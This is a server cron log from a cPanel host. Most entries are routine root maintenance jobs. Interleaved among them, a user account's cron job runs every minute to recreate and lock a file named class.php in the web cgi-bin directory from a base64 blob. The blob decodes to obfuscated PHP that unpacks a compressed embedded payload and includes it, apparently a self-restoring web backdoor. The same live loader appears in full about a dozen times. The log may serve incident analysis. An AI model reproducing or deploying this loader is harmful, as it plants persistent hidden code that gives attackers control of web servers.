Sep  5 15:46:01 server CROND[4326]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 15:47:01 server CROND[4696]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 15:47:01 server CROND[4697]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 15:47:01 server CROND[4698]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 15:48:01 server CROND[5083]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 15:48:01 server CROND[5084]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 15:48:01 server CROND[5085]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 15:49:01 server CROND[5459]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 15:49:01 server CROND[5461]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 15:49:01 server CROND[5460]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 15:50:01 server CROND[5837]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  5 15:50:01 server CROND[5840]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 15:50:01 server CROND[5842]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 15:50:01 server CROND[5844]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  5 15:50:01 server CROND[5847]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 15:50:01 server CROND[5843]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 15:50:01 server CROND[5841]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  5 15:50:01 server CROND[5845]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  5 15:50:01 server CROND[5846]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 15:51:01 server CROND[6784]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 15:51:01 server CROND[6785]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 15:51:01 server CROND[6786]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 15:52:02 server CROND[7199]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 15:52:02 server CROND[7200]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 15:52:02 server CROND[7201]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 15:53:01 server CROND[7592]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 15:53:01 server CROND[7593]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 15:53:01 server CROND[7594]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 15:54:01 server CROND[7969]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 15:54:01 server CROND[7968]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 15:54:01 server CROND[7970]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 15:55:01 server CROND[8354]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 15:55:01 server CROND[8353]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  5 15:55:01 server CROND[8356]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 15:55:01 server CROND[8355]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 15:55:01 server CROND[8358]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 15:55:01 server CROND[8357]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  5 15:55:01 server CROND[8359]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 15:56:01 server CROND[9309]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 15:56:01 server CROND[9310]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 15:56:01 server CROND[9311]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 15:57:01 server CROND[9749]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  5 15:57:01 server CROND[9750]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 15:57:01 server CROND[9751]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 15:57:01 server CROND[9754]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 15:58:01 server CROND[10117]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 15:58:01 server CROND[10116]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
